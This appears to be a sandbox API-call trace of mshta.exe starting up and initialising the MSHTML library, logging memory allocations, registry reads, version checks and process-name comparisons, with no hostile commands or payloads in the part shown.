[0192.538] RtlInitializeConditionVariable () returned 0x6ee3e980
[0192.538] __dllonexit () returned 0x6e4030a0
[0192.538] __dllonexit () returned 0x6e4030c0
[0192.538] __dllonexit () returned 0x6e4030d0
[0192.538] __dllonexit () returned 0x6e4030e0
[0192.538] __dllonexit () returned 0x6e403140
[0192.538] __dllonexit () returned 0x6e403130
[0192.539] __dllonexit () returned 0x6e403100
[0192.539] __dllonexit () returned 0x6e403120
[0192.539] __dllonexit () returned 0x6e403110
[0192.539] __dllonexit () returned 0x6e403150
[0192.539] __dllonexit () returned 0x6e403170
[0192.539] __dllonexit () returned 0x6e403190
[0192.540] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153
[0192.540] __dllonexit () returned 0x6e4031a0
[0192.540] __dllonexit () returned 0x6e4031f0
[0192.540] __dllonexit () returned 0x6e4031b0
[0192.545] EtwEventRegister () returned 0x0
[0192.545] EtwEventRegister () returned 0x0
[0192.545] EtwEventRegister () returned 0x0
[0192.546] malloc (_Size=0xbc10) returned 0x862728
[0192.572] RtlInitializeSListHead (in: ListHead=0x862788 | out: ListHead=0x862788)
[0192.572] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8b4 | out: phkResult=0x19f8b4*=0x0) returned 0x2
[0192.573] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8b4 | out: phkResult=0x19f8b4*=0x0) returned 0x2
[0192.573] GetModuleHandleW (lpModuleName=0x0) returned 0xbb0000
[0192.573] RtlInitializeSListHead (in: ListHead=0x8628f8 | out: ListHead=0x8628f8)
[0192.573] RtlInitializeSListHead (in: ListHead=0x862918 | out: ListHead=0x862918)
[0192.573] RtlInitializeSListHead (in: ListHead=0x8629c8 | out: ListHead=0x8629c8)
[0192.573] RtlInitializeSListHead (in: ListHead=0x8629e8 | out: ListHead=0x8629e8)
[0192.573] RtlInitializeSListHead (in: ListHead=0x862a98 | out: ListHead=0x862a98)
[0192.573] RtlInitializeSListHead (in: ListHead=0x862ab8 | out: ListHead=0x862ab8)
[0192.574] malloc (_Size=0x113c) returned 0x6300048
[0192.574] malloc (_Size=0x113c) returned 0x6301190
[0192.576] QueryPerformanceFrequency (in: lpFrequency=0x86d5c0 | out: lpFrequency=0x86d5c0*=100000000) returned 1
[0192.578] malloc (_Size=0x78) returned 0x86e340
[0192.579] rand_s (in: _RandomValue=0x19f840 | out: _RandomValue=0x19f840) returned 0x0
[0192.579] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x620000
[0192.580] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6b6b48
[0192.580] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6b6b68
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6b9ff0
[0192.581] __dllonexit () returned 0x6e403250
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6b6b88
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6b3310
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6ba008
[0192.581] __dllonexit () returned 0x6e403260
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6b3330
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0fc8
[0192.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6b9e88
[0192.581] __dllonexit () returned 0x6e403240
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0f08
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0ee8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0fa8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0fe8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1008
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1188
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1148
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1208
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6b3350
[0192.582] __dllonexit () returned 0x6e403280
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1068
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1028
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1048
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1168
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1088
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c10a8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0f28
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c11a8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6b6bd0
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c11c8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c10c8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c10e8
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1228
[0192.582] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1288
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1248
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0f48
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1108
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6b6c00
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0f68
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1128
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1268
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c0f88
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c11e8
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c12a8
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c16f8
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1958
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1e28
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1718
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c18d8
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1758
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1778
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1738
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c18b8
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1a38
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1a58
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1c18
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1798
[0192.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c18f8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c17b8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1898
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1858
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1918
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c17d8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1978
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1c78
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c17f8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1818
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1838
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c19d8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1938
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1998
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1878
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c19b8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1e88
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c19f8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1a18
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1a78
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1a98
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c15d8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1478
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1618
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1398
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1af8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1318
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c15f8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1338
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1358
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c13f8
[0192.584] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1638
[0192.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1658
[0192.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6c1518
[0192.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1c48
[0192.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6c1b58
[0192.585] __dllonexit () returned 0x6e403270
[0192.585] __dllonexit () returned 0x6e403290
[0192.585] __dllonexit () returned 0x6e4032a0
[0192.585] __dllonexit () returned 0x6e4032b0
[0192.586] _CIsqrt () returned 0x4000027f
[0192.586] __dllonexit () returned 0x6e4032d0
[0192.586] __dllonexit () returned 0x6e4032e0
[0192.586] __dllonexit () returned 0x6e4032f0
[0192.586] __dllonexit () returned 0x6e403310
[0192.588] __dllonexit () returned 0x6e403330
[0192.589] __dllonexit () returned 0x6e403340
[0192.589] __dllonexit () returned 0x6e403360
[0192.589] __dllonexit () returned 0x6e403380
[0192.589] __dllonexit () returned 0x6e4033a0
[0192.589] __dllonexit () returned 0x6e4033b0
[0192.589] RtlInitializeConditionVariable () returned 0x6ee38928
[0192.589] __dllonexit () returned 0x6e4033c0
[0192.589] __dllonexit () returned 0x6e4033d0
[0192.589] __dllonexit () returned 0x6e4033e0
[0192.589] __dllonexit () returned 0x6e4033f0
[0192.590] __dllonexit () returned 0x6e403400
[0192.590] __dllonexit () returned 0x6e403410
[0192.590] __dllonexit () returned 0x6e403430
[0192.591] __dllonexit () returned 0x6e403460
[0192.591] __dllonexit () returned 0x6e403470
[0192.591] __dllonexit () returned 0x6e403480
[0192.591] __dllonexit () returned 0x6e403490
[0192.591] __dllonexit () returned 0x6e4034b0
[0192.591] __dllonexit () returned 0x6e4034d0
[0192.591] __dllonexit () returned 0x6e403510
[0192.592] __dllonexit () returned 0x6e4034f0
[0192.592] __dllonexit () returned 0x6e403500
[0192.592] __dllonexit () returned 0x6e403520
[0192.592] __dllonexit () returned 0x6e403540
[0192.592] __dllonexit () returned 0x6e403560
[0192.592] __dllonexit () returned 0x6e403570
[0192.592] __dllonexit () returned 0x6e403590
[0192.592] __dllonexit () returned 0x6e4035a0
[0192.593] __dllonexit () returned 0x6e4035b0
[0192.593] __dllonexit () returned 0x6e4035c0
[0192.593] RtlInitializeConditionVariable () returned 0x6ee3ec1c
[0192.593] __dllonexit () returned 0x6e4035d0
[0192.593] __dllonexit () returned 0x6e4035e0
[0192.593] __dllonexit () returned 0x6e4035f0
[0192.593] __dllonexit () returned 0x6e403600
[0192.593] __dllonexit () returned 0x6e403620
[0192.593] __dllonexit () returned 0x6e403610
[0192.595] __dllonexit () returned 0x6e403630
[0192.595] __dllonexit () returned 0x6e403640
[0192.595] __dllonexit () returned 0x6e403650
[0192.596] __dllonexit () returned 0x6e403680
[0192.596] __dllonexit () returned 0x6e4036a0
[0192.596] __dllonexit () returned 0x6e403730
[0192.596] __dllonexit () returned 0x6e403720
[0192.596] __dllonexit () returned 0x6e4037a0
[0192.596] GetCurrentThreadId () returned 0x7a0
[0192.596] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19f7f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0192.596] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0192.596] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEXPLORE.EXE") returned 4
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSFEEDSSYNC.EXE") returned 2
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="SYSPREP.EXE") returned -6
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="EXPLORER.EXE") returned 8
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="LOADER42.EXE") returned 1
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="WWAHOST.EXE") returned -10
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEUTLAUNCH.EXE") returned 4
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="TE.EXE") returned -7
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="Te.ProcessHost.exe") returned -7
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="FAKEVIRTUALSURFACETESTAPP.EXE") returned 7
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSOOBE.EXE") returned -7
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="NETPLWIZ.EXE") returned -1
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="USERACCOUNTBROKER.EXE") returned -8
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSHTMPAD.EXE") returned -12
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="FirstLogonAnim.exe") returned 7
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="RESTOREOPTIN.EXE") returned -5
[0192.597] StrStrIW (lpFirst="mshta.exe", lpSrch="DCIScanner") returned 0x0
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedge.exe") returned 10
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedgecp.exe") returned 10
[0192.597] StrCmpICW (pszStr1="mshta.exe", pszStr2="pickerhost.exe") returned -3
[0192.597] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0x0
[0192.598] AddAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000
[0192.598] EtwEventRegister () returned 0x0
[0192.598] VirtualQuery (in: lpAddress=0x6ee47000, lpBuffer=0x19f914, dwLength=0x1c | out: lpBuffer=0x19f914*(BaseAddress=0x6ee47000, AllocationBase=0x6dc70000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c
[0192.598] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0192.598] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x77820000
[0192.599] GetProcAddress (hModule=0x77820000, lpProcName=0x6ed14220) returned 0x77952570
[0192.599] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f954 | out: lpflOldProtect=0x19f954*=0x4) returned 1
[0192.599] EtwEventSetInformation () returned 0x0
[0192.599] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0192.599] LoadLibraryExA (lpLibFileName="api-ms-win-downlevel-ole32-l1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000
[0192.600] GetProcAddress (hModule=0x754b0000, lpProcName="CoCreateGuid") returned 0x7556e9c0
[0192.600] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f990 | out: lpflOldProtect=0x19f990*=0x4) returned 1
[0192.600] CoCreateGuid (in: pguid=0x6ee3514c | out: pguid=0x6ee3514c*(Data1=0xc59b3b64, Data2=0xb395, Data3=0x4033, Data4=([0]=0xb4, [1]=0xce, [2]=0x2a, [3]=0xfb, [4]=0x1b, [5]=0x18, [6]=0x7e, [7]=0xaf))) returned 0x0
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b248
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b244
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b240
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b23c
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b238
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b234
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b230
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b22c
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b228
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b224
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b220
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b21c
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b218
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b214
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b210
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b20c
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b268
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b208
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b204
[0192.601] RtlInitializeConditionVariable () returned 0x6ee3b200
[0192.606] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0192.607] LoadLibraryExA (lpLibFileName="urlmon.dll", hFile=0x0, dwFlags=0x0) returned 0x70a40000
[0192.906] GetProcAddress (hModule=0x70a40000, lpProcName="CoInternetIsFeatureEnabled") returned 0x70aa9e20
[0192.906] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f978 | out: lpflOldProtect=0x19f978*=0x4) returned 1
[0192.907] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0192.913] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0192.913] GetVersionExA (in: lpVersionInformation=0x6ee39280*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6ee39280*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0192.915] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0192.920] GetSystemMetrics (nIndex=68) returned 4
[0192.920] GetSystemMetrics (nIndex=69) returned 4
[0192.920] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14
[0192.921] GetVersionExW (in: lpVersionInformation=0x19f854*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x19f844, dwMinorVersion=0x6c2960, dwBuildNumber=0x19faa8, dwPlatformId=0x7796ee30, szCSDVersion="纆脵\x19⏈瑦\x02") | out: lpVersionInformation=0x19f854*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0192.921] GetUserDefaultUILanguage () returned 0x409
[0192.921] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x19f948, cchData=16 | out: lpLCData="\x03") returned 16
[0192.921] GetKeyboardLayoutList (in: nBuff=32, lpList=0x19f978 | out: lpList=0x19f978) returned 1
[0192.922] GetCurrentProcessId () returned 0x7a4
[0192.922] ProcessIdToSessionId (in: dwProcessId=0x7a4, pSessionId=0x19f968 | out: pSessionId=0x19f968) returned 1
[0192.922] WTSGetActiveConsoleSessionId () returned 0x1
[0192.922] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x850000
[0192.923] GetVersion () returned 0x295a000a
[0192.923] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x74650000
[0192.923] GetProcAddress (hModule=0x74650000, lpProcName="HeapSetInformation") returned 0x7466a8e0
[0192.923] HeapSetInformation (HeapHandle=0x850000, HeapInformationClass=0x0, HeapInformation=0x19f9f8, HeapInformationLength=0x4) returned 1
[0192.924] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a
[0192.924] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b
[0192.924] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d
[0192.924] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f
[0192.924] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e
[0192.925] malloc (_Size=0x158) returned 0x8625a8
[0192.925] malloc (_Size=0x78) returned 0x86e7c8
[0192.925] rand_s (in: _RandomValue=0x19f840 | out: _RandomValue=0x19f840) returned 0x0
[0192.926] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x203000, flProtect=0x4) returned 0x6400000
[0192.926] malloc (_Size=0x2600) returned 0x63022d8
[0192.927] SystemParametersInfoW (in: uiAction=0x4a, uiParam=0x0, pvParam=0x19f9f8, fWinIni=0x0 | out: pvParam=0x19f9f8) returned 1
[0192.927] SystemParametersInfoW (in: uiAction=0x200a, uiParam=0x0, pvParam=0x19f9f4, fWinIni=0x0 | out: pvParam=0x19f9f4) returned 1
[0192.927] GetCurrentProcessId () returned 0x7a4
[0192.928] _vsnwprintf (in: _Buffer=0x19fa10, _BufferCount=0x16, _Format="%s%08lX", _ArgList=0x19f9fc | out: _Buffer="#MSHTML#PERF#000007A4") returned 21
[0192.928] OpenFileMappingW (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#000007A4") returned 0x0
[0192.928] EtwEventRegister () returned 0x0
[0192.928] EtwEventSetInformation () returned 0x0
[0192.928] EtwEventRegister () returned 0x0
[0192.929] EtwEventRegister () returned 0x0
[0192.929] EtwEventRegister () returned 0x0
[0192.929] RegGetValueW (in: hkey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\OUTLOOK.EXE", lpValue="Path", dwFlags=0x2, pdwType=0x0, pvData=0x19f7f0, pcbData=0x19f7e4*=0x208 | out: pdwType=0x0, pvData=0x19f7f0, pcbData=0x19f7e4*=0x6e) returned 0x0
[0192.930] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Program Files (x86)\\Microsoft Office\\Root\\Office16\\outllib.dll", lpdwHandle=0x19f7e0 | out: lpdwHandle=0x19f7e0) returned 0x0
[0192.932] GetModuleHandleW (lpModuleName=0x0) returned 0xbb0000
[0192.932] GetModuleFileNameW (in: hModule=0xbb0000, lpFilename=0x19f7f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0192.932] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0192.932] RegGetValueW (in: hkey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Application Compatibility", lpValue="mshta.exe", dwFlags=0x18, pdwType=0x0, pvData=0x19f7ec, pcbData=0x19f7e8*=0x4 | out: pdwType=0x0, pvData=0x19f7ec, pcbData=0x19f7e8*=0x4) returned 0x2
[0192.935] malloc (_Size=0x140) returned 0x86e848
[0192.936] _itow_s (in: _Value=0, _Buffer=0x19f9e4, _BufferCount=0xa, _Radix=10 | out: _Buffer="0") returned 0x0
[0192.936] _itow_s (in: _Value=1, _Buffer=0x19f9e4, _BufferCount=0xa, _Radix=10 | out: _Buffer="1") returned 0x0
[0192.936] _itow_s (in: _Value=2, _Buffer=0x19f9e4, _BufferCount=0xa, _Radix=10 | out: _Buffer="2") returned 0x0
[0192.937] _itow_s (in: _Value=3, _Buffer=0x19f9e4, _BufferCount=0xa, _Radix=10 | out: _Buffer="3") returned 0x0
[0192.937] _itow_s (in: _Value=4, _Buffer=0x19f9e4, _BufferCount=0xa, _Radix=10 | out: _Buffer="4") returned 0x0
[0192.938] GetCurrentProcess () returned 0xffffffff
[0192.938] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x19f998, lpExitTime=0x19f988, lpKernelTime=0x19f988, lpUserTime=0x19f988 | out: lpCreationTime=0x19f998, lpExitTime=0x19f988, lpKernelTime=0x19f988, lpUserTime=0x19f988) returned 1
[0193.042] free (_Block=0x862300)
[0193.042] free (_Block=0x862410)
[0193.042] RegCloseKey (hKey=0x156) returned 0x0
[0193.043] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74650000
[0193.044] GetProcAddress (hModule=0x74650000, lpProcName="RegisterApplicationRestart") returned 0x74672820
[0193.048] malloc (_Size=0xf8) returned 0x862300
